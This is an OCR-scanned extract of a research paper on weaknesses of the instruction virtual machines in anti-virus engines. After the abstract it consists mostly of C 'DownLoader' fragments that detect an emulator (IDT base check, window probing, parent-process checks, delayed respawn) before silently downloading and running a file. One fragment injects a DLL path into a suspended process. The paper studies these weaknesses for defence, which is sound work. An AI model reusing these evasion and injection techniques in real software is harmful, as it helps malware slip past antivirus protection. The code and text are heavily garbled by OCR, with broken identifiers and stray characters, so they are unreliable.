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Analysis of instructions virtual machine
vulnerabilities in anti-virus software

WANG Yijun
First Research Institute of the Ministry of Public Security of PRC, Beijing 100044, China

Abstract: Instructions virtual machine technology is one of the core technologies used in today’s anti-virus field, the
vast majority of anti-virus software scan engines use virtualization technology to analyze file and to revert the behavior
of this program whether will be a threat to system security or not. According to this process behavioral characteristics,
it is determined whether it is a virus or Trojan. Aiming at features of the virtual machine in anti-virus software, the
difference between virtual environments and real environment were researched. Based on in-depth analysis of the virtual
machine technology and the essential characteristics of a computer virus and Trojan, theory and practice of research

were combined and the analysis of virtual machine instructions vulnerability in current anti-virus software was given.
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int DownLoader()
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char szFilePath MAX_PATH] = {0};

URLDownloadToCacheFile(NULL,"file://c:

szFilePath, MAX_PATH,0,NULL);
ShellExecute(0, "open", szFilePath, NULL,NULL,SW_

HIDE);

return 0;
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int DownLoader()

{

TCHAR szMutexLock[] = “mutex”;
HANDLE hHandle = CreateEvent(NULL,NULL,NULL,

\\Wwindows\\calc.exe",

_,4

ERCERINPINES

/\

szMutexLock); /8 & — 4~ ff 3 0
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
ZeroMemory( &si, sizeof(sinfo) );
sinfo.ch = sizeof(sinfo);
ZeroMemory( &pinfo, sizeof(pinfo) );
TCHAR szFilePath| MAX_PATH];
GetModuleFileName( NULL , szFilePath , MAX_
NPATH);
CreateProcess(szFilePath, NULL,NULL,NULL,
FALSE,0,NULL,NULL,& sinfo,&pinfo);
for(int i = 0;i < 1000000000; i++) I B Ji)
4 1

_asm

nop

}
CloseHandle(hHandle);

return 0;

char szFilePathi] MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,"file://c:
\Wwindows\\calc.exe" szFilePath, MAX_PATH,0,NULL);
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ShellExecute(0,"open", szFilePath NULLNULL,
SW_HIDE);
return 0;
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int DownLoader()

{

STARTUPINFO si;
PROCESS_INFORMATION pinfo;
ZeroMemory( &si, sizeof(si) );
st.wShowWindow = SW_HIDE;
ZeroMemory( &pinfo, sizeof(pinfo) );
HANDLE MessageBoxHandle;

CreateProcess("C:\Wwindows\\system32\\calc.exe",NULL,
NULL,NULL,FALSE,0,NULL,NULL,&si,&pinfo);

MessageBoxHandle = FindWindow("Calc",NULL); /4]
AR R R B E A

Sleep(1000);

if (I MessageBoxHandle)

{

char szFilePathlMAX_PATH] = {0};
URLDownloadToCacheFile(NULL,"file://c:\\windows\

calc. exe", szFilePath, MAX_PATH,0,NULL);
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ShellExecute(0,"open", szFilePath NULLLNULLSW _ SR BRI A S AR IE B, XHEWR T
HIDE); MR BT 5 SR BT R[]

J

return 0;

}
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int DownLoader()
{
char idu[6];
unsigned int idt_base;
_asm sidt idtr
idt_base = *((unsigned int*)(idtr+2)); //HC IDT
3k
if((idt_base<0x8003400)&&(idt_base>0x80047400))
{
char szFilePath MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,"file://c:\windows\\
calc.exe" szlilePath, MAX_PATH,0,NULL);
ShellExecute(0,"open", szFilePath NULLLNULLSW _
HIDE);
}

return 0;
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int DownLoader()

{

DWORD fpid,epid;
PROCESSENTRY32 pe;
HANDLE hSnapp=CreateToolhelp32Snapshot(TH32CS_
SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if (Process32First(hSnapp,&pe))
{
dof
if (stricmp(pe.szExeFile,"explorer.exe")==0)
{
fpid =pe.th32ParentProcessID; //#{ %
PERR I ACHERE AL PID
epid=pe.th32ProcessID;
break;

J
Jwhile(Process32Next(hSnapp,&pe));
J
if(fpid ==epid)
return 0;
char szFilePath MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,"file://c:
\Wwindows\\calc.exe", szFilePath, MAX_PATH,0,NULL);
ShellExecute(0,"open", szFilePath, NULL, NULL, SW_
HIDE);
return 0;

}
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void DownLoader()

sInfo.cb = sizeof(STARTUPINFO);

PROCESS_INFORMATION plnfo;

CreateProcessW("'C:\Windows\\calc.exe",NULL,NULL,
NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&slnfo,
&plnfo);

typedef NTSTATUS (NTAPI* fnNtQuerylnforProcess)
(HANDLE,ULONG,PVOID,ULONG,PULONG);

PROCESS_BASIC_INFORMATION pbi;

((lnNtQueryInforProcess)GetProcAddress(GetModule
HandleA("ntdILdII")," fnNtQuerylnforProcess ")) (pInfo.hProcess,
0,&pbi,sizeof(PROCESS_BASIC_INFORMATION),NULL);

LPVOID IpShimData = (LPVOID)((ULONG_PTR)pbi.
PebBaseAddress + 0x1E8); //ffi F e 75 45 5

PVOID pShimData = NULL;

ReadProcessMemory(pInfo.hProcess,IpSdata,&pSdata,
sizeof(PVOID),NULL);

LPWSTR lIpszDIIFile = L"C:\\downloader.dll";

if (pSdata)

{

WriteProcessMemory(pInfo.hProcess, pSdata, IpszDIIFile,
strlen(IpszDIlFile)*sizeof(wehar_t), NULL);

}

ResumeThread(pInfo.hThread);

CloseHandle(plnfo.hProcess);

CloseHandle(pInfo.hThread);

{ ExitProcess(0);
STARTUPINFO slnfo = {}; }
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int DownLoader()
{
STARTUPINFO slnfo;
PROCESS_INFORMATION plnfo;
ZeroMemory( &slnfo, sizeof(sInfo) );
sInfo.ch = sizeof(sInfo);
ZeroMemory( &plnfo, sizeof(pInfo) );
HANDLE MBHandle;
CreateProcess(" C:\\windows\\calc.exe",NULL,NULL,
NULL,FALSE,0,NULL,NULL,&slInfo,&plnfo);

Sleep(1000);

MBHandle = FindWindow(NULL," b - ic 58 4 ");
/A FindWindow b8 4121 B Sleep(1000);

if (MBHandle)

{

char szFilePathi] MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,"file://c:\windows\\
calc.exe" szFilePath, MAX_PATH,0,NULL);

PR KR USRI oh O TR R R ALEE A 4 AR )Y B ShellExecute(0,"open", szFilePath NULLNULLSW _
WARATHE A R EHAB M2, HIRX  HIDE)
A2 B2 2 DownLoader T g DLL, A 7 81  # ]
AR 13 FiR return 0;
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